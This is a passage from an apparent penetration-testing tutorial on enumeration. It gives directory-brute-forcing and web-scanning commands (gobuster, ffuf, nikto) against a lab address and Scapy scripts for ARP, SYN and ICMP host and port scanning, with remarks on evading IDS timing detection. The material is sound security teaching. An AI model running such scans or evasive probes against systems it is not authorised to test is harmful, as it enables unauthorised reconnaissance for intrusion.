&lt;span class="c"&gt;# -u = target URL&lt;/span&gt;
&lt;span class="c"&gt;# -w = wordlist&lt;/span&gt;
&lt;span class="c"&gt;# -x = file extensions to check (appends these to each wordlist entry)&lt;/span&gt;
&lt;span class="c"&gt;# -b = HTTP status codes to filter out (404 is the default not-found code)&lt;/span&gt;
gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.50 &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="nt"&gt;-x&lt;/span&gt; php,html,txt,bak,conf,xml &lt;span class="se"&gt;\&lt;/span&gt;
             &lt;span class="nt"&gt;-b&lt;/span&gt; 404,403

&lt;span class="c"&gt;# ffuf (Fuzz Faster U Fool) is faster and more flexible&lt;/span&gt;
&lt;span class="c"&gt;# FUZZ is the placeholder for the wordlist value&lt;/span&gt;
ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.50/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-fc&lt;/span&gt; 404

&lt;span class="c"&gt;# Technology identification&lt;/span&gt;
whatweb &lt;span class="nt"&gt;-v&lt;/span&gt; http://10.10.10.50      &lt;span class="c"&gt;# -v for verbose output&lt;/span&gt;

&lt;span class="c"&gt;# Nikto web vulnerability scanner&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://10.10.10.50
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; https://10.10.10.50 &lt;span class="nt"&gt;-ssl&lt;/span&gt;
nikto &lt;span class="nt"&gt;-h&lt;/span&gt; http://10.10.10.50 &lt;span class="nt"&gt;-o&lt;/span&gt; nikto_results.html &lt;span class="nt"&gt;-Format&lt;/span&gt; html

&lt;span class="c"&gt;# Always manually check these files on every web server:&lt;/span&gt;
curl http://10.10.10.50/robots.txt          &lt;span class="c"&gt;# Intentionally hidden paths&lt;/span&gt;
curl http://10.10.10.50/sitemap.xml         &lt;span class="c"&gt;# Full site URL map&lt;/span&gt;
curl http://10.10.10.50/.well-known/security.txt  &lt;span class="c"&gt;# Security contact info&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; http://10.10.10.50/                &lt;span class="c"&gt;# Response headers reveal server info&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3.2.5 Enumeration via Packet Crafting with Scapy
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why Scapy Matters Beyond Nmap
&lt;/h3&gt;

&lt;p&gt;Nmap is a remarkable tool, but it is also a fixed tool — it sends predetermined probe sequences and interprets responses according to built-in logic. Scapy is the opposite: it is a Python library for constructing any network packet from scratch, at any layer, with any values in any field.&lt;/p&gt;

&lt;p&gt;Think of Nmap as a Swiss Army knife — it has many tools, all expertly crafted for common tasks. Think of Scapy as a metalworking shop where you have raw steel and every tool imaginable — you can build any knife you want, including ones that have never existed before.&lt;/p&gt;

&lt;p&gt;This matters for several reasons. Sometimes you need to test how a target responds to a specific, unusual packet — a packet with specific flag combinations, a specific sequence number, a malformed header. Nmap cannot send that. Scapy can. Sometimes you need to test a proprietary protocol that Nmap knows nothing about. Scapy can craft packets for any protocol you understand well enough to implement. Sometimes you need to automate a complex multi-packet interaction — send a packet, receive a response, make a decision based on the response, send a different packet based on that decision. Scapy can do this in Python.&lt;/p&gt;

&lt;p&gt;For penetration testing enumeration specifically, Scapy is valuable for:&lt;/p&gt;

&lt;p&gt;Implementing custom port scanning logic — for example, a SYN scan that sends probes at precisely calculated time intervals to evade timing-based IDS detection, adjusting the interval based on observed response patterns.&lt;/p&gt;

&lt;p&gt;Building custom protocol interaction — if you discover a service running on an unusual port and need to speak its protocol, Scapy lets you construct and send the exact protocol-specific packets needed.&lt;/p&gt;

&lt;p&gt;Testing firewall behavior — by crafting packets with specific, unusual combinations of flags, TTL values, or fragmentation patterns, you can probe exactly how a firewall processes different packet types.&lt;/p&gt;

&lt;p&gt;Implementing attacks from academic research — security research papers frequently describe attacks in terms of specific packet sequences. Implementing these in Scapy is often the fastest path to a working proof-of-concept.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Scapy Thinks About Packets
&lt;/h3&gt;

&lt;p&gt;Scapy represents network packets as stacked objects, each representing one layer of the network model. The &lt;code&gt;/&lt;/code&gt; operator stacks layers together, with lower layers on the left and higher layers on the right.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# This is how you think about a typical HTTPS request packet:
# Layer 2 (Ethernet) / Layer 3 (IP) / Layer 4 (TCP) / Application data
&lt;/span&gt;&lt;span class="nc"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET / HTTP/1.0&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# You can start at any layer — if you are routing (not on local LAN),
# you do not need Ethernet:
&lt;/span&gt;&lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# If you want to test ARP (purely local network):
&lt;/span&gt;&lt;span class="nc"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# For ICMP ping:
&lt;/span&gt;&lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within each layer, every field has a default value, but you can override any field. The IP layer defaults to a TTL of 64, but you can change it. The TCP layer defaults to SYN flags, but you can set any combination of flags. You can set incorrect checksums to test how a target handles malformed packets. You can set impossible values to test bounds checking.&lt;/p&gt;

&lt;p&gt;This level of control is what makes Scapy invaluable for advanced security testing and research — it treats the network protocol as what it actually is: a structured set of fields that can be set to any value.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scapy in Enumeration Context
&lt;/h3&gt;

&lt;p&gt;For the purposes of this module, Scapy is used in enumeration to supplement Nmap with custom probes. The most common use cases are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom SYN scanning with fine-grained control.&lt;/strong&gt; Nmap's SYN scan is excellent, but Scapy lets you control every aspect of the probe — the source port, the exact sequence number, the TCP window size, the timing between probes. This is useful when you need to craft probes that look like specific legitimate traffic to bypass application-layer inspection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP scanning for local network host discovery.&lt;/strong&gt; On a local LAN segment, sending ARP requests is the most reliable host discovery technique. Scapy makes it easy to build custom ARP scanning logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OS fingerprinting.&lt;/strong&gt; Different operating systems respond differently to unusual packets. By crafting specific probe packets and analyzing the responses with Scapy, you can build a fingerprinting system tailored to your specific needs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protocol fuzzing.&lt;/strong&gt; Sending packets with slightly malformed values to discover how a service handles invalid input — the foundation of fuzzing-based vulnerability discovery.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="c1"&gt;# ARP Scan — Find all live hosts on the local network
# This sends an ARP broadcast to the entire subnet
# ARP cannot be blocked by host firewalls — it works at the Ethernet level
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;arp_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network_range&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Ether(dst="ff:ff:ff:ff:ff:ff") = broadcast MAC (send to everyone)
&lt;/span&gt;    &lt;span class="c1"&gt;# ARP(pdst=network_range) = "Who has IP address X? Tell me your MAC"
&lt;/span&gt;    &lt;span class="n"&gt;arp_request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ff:ff:ff:ff:ff:ff&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;network_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# srp() = Send and Receive at the Ethernet (Packet) level
&lt;/span&gt;    &lt;span class="c1"&gt;# timeout=3 = wait 3 seconds for responses
&lt;/span&gt;    &lt;span class="c1"&gt;# verbose=False = suppress output (we handle display ourselves)
&lt;/span&gt;    &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unanswered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;srp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arp_request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;live_hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sent_packet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;received_packet&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;received_packet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;psrc&lt;/span&gt;       &lt;span class="c1"&gt;# Source IP from ARP reply
&lt;/span&gt;        &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;received_packet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;     &lt;span class="c1"&gt;# Source MAC from Ethernet header
&lt;/span&gt;        &lt;span class="n"&gt;live_hosts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;live_hosts&lt;/span&gt;

&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;arp_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# Custom SYN Scan — Port discovery with full control over probe construction
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;syn_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port_list&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;port_list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Construct the SYN packet
&lt;/span&gt;        &lt;span class="c1"&gt;# IP layer: set destination, let Scapy fill in source IP automatically
&lt;/span&gt;        &lt;span class="c1"&gt;# TCP layer: destination port, flags="S" means SYN only, random source port
&lt;/span&gt;        &lt;span class="n"&gt;syn_packet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target_ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;RandShort&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

        &lt;span class="c1"&gt;# sr1() = Send one packet, Receive one response
&lt;/span&gt;        &lt;span class="c1"&gt;# timeout=1 = wait 1 second for response before giving up
&lt;/span&gt;        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;syn_packet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# No response at all = filtered
&lt;/span&gt;            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;tcp_flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tcp_flags&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="c1"&gt;# SYN-ACK received = port is OPEN
&lt;/span&gt;                &lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: OPEN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

                &lt;span class="c1"&gt;# Send RST to cleanly close the half-open connection
&lt;/span&gt;                &lt;span class="c1"&gt;# Without this, the target keeps waiting for ACK completion
&lt;/span&gt;                &lt;span class="n"&gt;rst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target_ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;sport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;R&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;ack&lt;/span&gt;
                &lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;R&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tcp_flags&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="c1"&gt;# RST received = port is CLOSED
&lt;/span&gt;                &lt;span class="k"&gt;pass&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;open_ports&lt;/span&gt;

&lt;span class="c1"&gt;# Scan first 1024 ports
&lt;/span&gt;&lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;syn_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.10.10.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1025&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;


&lt;span class="c1"&gt;# ICMP Ping Sweep — More control than nmap -sn for specific scenarios
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;icmp_sweep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network_range&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Create ICMP echo request packets for the entire range
&lt;/span&gt;    &lt;span class="n"&gt;ping_packets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;network_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# sr() = Send multiple packets, Receive responses to all of them
&lt;/span&gt;    &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unanswered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ping_packets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Hosts that responded to ICMP:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is alive (TTL=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# TTL analysis for OS guessing
&lt;/span&gt;        &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    → Likely Linux/Unix (TTL &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, initial TTL probably 64)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
